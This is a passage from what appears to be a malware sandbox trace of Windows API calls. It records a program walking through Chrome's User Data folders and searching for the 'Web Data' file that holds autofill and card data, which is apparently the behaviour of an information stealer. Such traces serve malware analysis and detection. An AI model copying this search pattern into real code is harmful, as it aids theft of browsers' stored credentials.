returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*" [0079.244] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.244] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.244] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.244] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.244] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.244] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.244] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.244] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.244] StrStrIA (lpFirst="First Run", lpSrch="Web Data") returned 0x0 [0079.244] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.244] StrStrIA (lpFirst="Local State", lpSrch="Web Data") returned 0x0 [0079.244] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.244] lstrcmpiA (lpString1=".", lpString2="OriginTrials") returned -1 [0079.244] lstrcmpiA (lpString1="..", lpString2="OriginTrials") returned -1 [0079.244] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.244] lstrlenA (lpString="\\") returned 1 [0079.245] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.245] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.245] lstrlenA (lpString="OriginTrials") returned 12 [0079.245] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="OriginTrials" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" [0079.245] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 67 [0079.245] lstrlenA (lpString="\\*.*") returned 4 [0079.245] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*.*" [0079.245] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.245] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.245] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.245] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.245] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.245] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.245] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.245] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.245] lstrcmpiA (lpString1=".", lpString2="PepperFlash") returned -1 [0079.245] lstrcmpiA (lpString1="..", lpString2="PepperFlash") returned -1 [0079.245] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.245] lstrlenA (lpString="\\") returned 1 [0079.245] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.245] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.245] lstrlenA (lpString="PepperFlash") returned 11 [0079.245] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="PepperFlash" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" [0079.245] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 66 [0079.245] lstrlenA (lpString="\\*.*") returned 4 [0079.245] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*.*" [0079.246] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.247] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.247] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.247] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.247] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.247] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.247] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.247] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.247] lstrcmpiA (lpString1=".", lpString2="pnacl") returned -1 [0079.247] lstrcmpiA (lpString1="..", lpString2="pnacl") returned -1 [0079.247] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.247] lstrlenA (lpString="\\") returned 1 [0079.247] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.247] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.247] lstrlenA (lpString="pnacl") returned 5 [0079.247] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="pnacl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" [0079.247] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 60 [0079.247] lstrlenA (lpString="\\*.*") returned 4 [0079.247] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*.*" [0079.247] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.248] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.248] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.248] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.248] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.248] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.248] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.248] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.248] lstrcmpiA (lpString1=".", lpString2="SSLErrorAssistant") returned -1 [0079.248] lstrcmpiA (lpString1="..", lpString2="SSLErrorAssistant") returned -1 [0079.248] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.248] lstrlenA (lpString="\\") returned 1 [0079.248] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.248] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.248] lstrlenA (lpString="SSLErrorAssistant") returned 17 [0079.248] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="SSLErrorAssistant" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0079.248] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 72 [0079.248] lstrlenA (lpString="\\*.*") returned 4 [0079.249] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*" [0079.249] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.249] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.249] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.249] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.249] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.249] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.249] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.249] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.249] lstrcmpiA (lpString1=".", lpString2="SwiftShader") returned -1 [0079.249] lstrcmpiA (lpString1="..", lpString2="SwiftShader") returned -1 [0079.249] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.249] lstrlenA (lpString="\\") returned 1 [0079.249] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.249] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.249] lstrlenA (lpString="SwiftShader") returned 11 [0079.249] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="SwiftShader" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader" [0079.249] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader") returned 66 [0079.249] lstrlenA (lpString="\\*.*") returned 4 [0079.249] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\*.*" [0079.249] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwiftShader\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.250] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.250] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.250] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.250] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.250] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.250] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.250] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.250] lstrcmpiA (lpString1=".", lpString2="SwReporter") returned -1 [0079.250] lstrcmpiA (lpString1="..", lpString2="SwReporter") returned -1 [0079.250] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.250] lstrlenA (lpString="\\") returned 1 [0079.250] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.250] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.250] lstrlenA (lpString="SwReporter") returned 10 [0079.250] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="SwReporter" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0079.250] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 65 [0079.250] lstrlenA (lpString="\\*.*") returned 4 [0079.250] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*.*" [0079.250] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.250] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.250] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.250] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.250] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.250] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.250] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.251] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.251] lstrcmpiA (lpString1=".", lpString2="WidevineCdm") returned -1 [0079.251] lstrcmpiA (lpString1="..", lpString2="WidevineCdm") returned -1 [0079.251] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.251] lstrlenA (lpString="\\") returned 1 [0079.251] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.251] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.251] lstrlenA (lpString="WidevineCdm") returned 11 [0079.251] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="WidevineCdm" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0079.251] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 66 [0079.251] lstrlenA (lpString="\\*.*") returned 4 [0079.251] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*.*" [0079.251] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.254] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.254] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.254] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.254] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.254] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.254] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.254] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 0 [0079.254] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0079.254] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0 [0079.254] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0079.254] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.254] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.254] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0079.255] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Google\\Chrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome" [0079.255] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome") returned 44 [0079.255] lstrlenA (lpString="\\*.*") returned 4 [0079.255] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\*.*" [0079.255] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0x642768 [0079.255] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.255] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 1 [0079.255] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.255] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.255] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 1 [0079.255] lstrcmpiA (lpString1=".", lpString2="User Data") returned -1 [0079.255] lstrcmpiA (lpString1="..", lpString2="User Data") returned -1 [0079.255] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome") returned 44 [0079.255] lstrlenA (lpString="\\") returned 1 [0079.255] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\" [0079.255] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\") returned 45 [0079.255] lstrlenA (lpString="User Data") returned 9 [0079.255] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\", lpString2="User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0079.255] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.255] lstrlenA (lpString="\\*.*") returned 4 [0079.255] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\*.*" [0079.255] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 0x6427a8 [0079.255] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.255] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.255] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.255] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.256] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.256] lstrcmpiA (lpString1=".", lpString2="CertificateTransparency") returned -1 [0079.256] lstrcmpiA (lpString1="..", lpString2="CertificateTransparency") returned -1 [0079.256] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.256] lstrlenA (lpString="\\") returned 1 [0079.256] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.256] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.256] lstrlenA (lpString="CertificateTransparency") returned 23 [0079.256] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="CertificateTransparency" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0079.256] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 78 [0079.256] lstrlenA (lpString="\\*.*") returned 4 [0079.256] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*" [0079.256] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.256] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.256] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.256] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.256] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.256] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.256] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.256] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.256] lstrcmpiA (lpString1=".", lpString2="Crashpad") returned -1 [0079.256] lstrcmpiA (lpString1="..", lpString2="Crashpad") returned -1 [0079.256] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.256] lstrlenA (lpString="\\") returned 1 [0079.256] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.256] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.257] lstrlenA (lpString="Crashpad") returned 8 [0079.257] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="Crashpad" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0079.257] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 63 [0079.257] lstrlenA (lpString="\\*.*") returned 4 [0079.257] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*" [0079.257] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.257] lstrcmpiA 